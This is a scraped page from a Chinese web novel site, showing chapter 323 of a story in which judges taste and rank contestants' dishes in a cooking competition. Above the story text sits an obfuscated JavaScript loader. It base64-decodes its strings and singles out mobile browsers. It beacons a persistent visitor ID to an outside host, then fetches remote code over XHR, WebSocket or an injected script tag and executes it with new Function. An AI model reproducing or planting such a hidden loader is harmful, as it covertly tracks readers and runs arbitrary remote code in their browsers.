足迹
逃荒后三岁福宝被团宠了
登录
关灯
护眼
字体:

第323章 当之无愧的第一(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

此时食盒已经被拿到了屏风后面,专门有人检查过封条之后再拆开,将三道菜摆在评判面前的桌上。

万子秋先尝了一下面前的青椒肉丝,不由得赞许地点了点头。

青椒清脆爽口,一点儿也不软榻,还带着青椒特有的清香,却已经彻底断生,可以说火候掌握得恰到好处。

肉丝口感柔嫩,虽然都是瘦肉但是一点都不干柴,咀嚼间还能感受到被锁在其中的肉汁。

“这道青椒肉丝大家都尝尝看。”万子秋很是满意,但是为了公平公正,没有说任何带有倾向性的话,而是将筷子伸向了蓑衣黄瓜。

蓑衣黄瓜这道菜其实万子秋并没有太当回事,他一直觉得这道菜就是考验刀工的,其他方面并没有什么太多技巧。

但是叶大嫂这道蓑衣黄瓜一入口,他立刻察觉出了不一样。

做蓑衣黄瓜,如果早早调味,用料汁将其腌制入味的话,就很容易会让黄瓜失去自身的水分,失去了本身清脆的口感和清香的味道。

但是如果上桌之前临时调味,又会使味道只浮于表面,很难渗入内部。

但是面前这盘蓑衣黄瓜,黄瓜脆嫩,酸辣适口,吃到内里甚至还有一丝丝的回甘。

一旁已经尝过了蓑衣黄瓜的牟琦川见万子秋露出惊艳的神色,立刻笑着说:“万掌膳,这道蓑衣黄瓜做得水平很是可以啊!”

程文杰尝过也道:“厨艺老道,调味恰到好处,我猜今天第一个做完三道菜品的是,肯定是钱云飞钱大厨。”

万子秋对他们的交谈也只是听着,并不插话,自己默默地盛了一碗汤来喝。

玉米和胡萝卜的清甜缓和了香菇霸道的香味,再加上豆芽,平衡了口感,使得整道汤更加爽口。

三道菜完成的都很不错,但是万子秋也没有过早地下结论,毕竟后面还有三个人呢!

所有人都品尝过叶大嫂做的三道菜之后,第二个人的菜品立刻就被送了上来。

差役飞快地将桌面收拾干净,把叶大嫂做好的菜端到一旁贴着“壹”字的桌子上。

后面还有三张一模一样的桌子一次排开。

这些全都是摆在所有人眼皮子底下的,谁也甭想动什么手脚。

第二个人的菜端上来之后,青椒肉丝做得还算不错,挑不出什么毛病来。

蓑衣黄瓜的调味也是没问题的,但是黄瓜的口感和爽脆度却比前一个稍逊一筹。

如果放在平时,只单单吃这一道菜的话或许很难察觉。

但是大家才刚吃过第一道令人惊艳的蓑衣黄瓜,此时立刻尝到这个,心里顿时冒出四个字——稍逊一筹。

接下来的素高汤也没什么问题,跟第一位相比只是少放了玉米,喝起来少了一丝清甜,加上有前面蓑衣黄瓜的对比,一下子就拉开了距离。

很快,第三名的菜品也被送到了屏风后面。

万子秋先尝了一口蓑衣黄瓜。

这道黄瓜倒是入味了,但就是太入味了,黄瓜都被泡得口感发艮了。

他漱漱口又盛了一勺素高汤到自己碗中,刚尝了一口就忍不住皱起了眉头。

万子秋再次拿起汤勺在汤碗底部捞了一下,见捞上来的是笋片,立刻就摇摇头,放下了勺子,那道青椒肉丝更是连尝都懒得尝了。

“这素高汤鲜味不足,反倒微微有些苦味啊!”

“还不是用这笋片用的。”

“从一开始选择食材上就出了问题,没法子了。”

第三个做完的正是吕金玉,素高汤出锅之前,他自己也尝过了,那微微的苦味又怎么能瞒得过他的舌头。

他也立刻反应过来是哪里出了问题。

但是都到这个时候,也没时间再给他重新煲汤了,只能努力调味将那股淡淡的苦涩之气遮掩过去,便这样送上去了。

可这又如何能瞒得过几位大厨的舌头?

吕金玉如今只能盼着其他人的菜都有严重的失误,才能让他取得最后的胜利。

他做的菜被摆在第三张桌子上的时候,最后一个人的菜也终于出锅了。

看着他脸上懊恼的表情,便知道应该是有了什么重大失误。

吕金玉的心里顿时又升起一丝希望。

看着最后摆在桌上的三道菜,万子秋突然觉得自己的脑袋有点疼。

青椒肉丝一看就炒过头了,青椒的颜色都不翠绿了,肉丝也干巴巴的。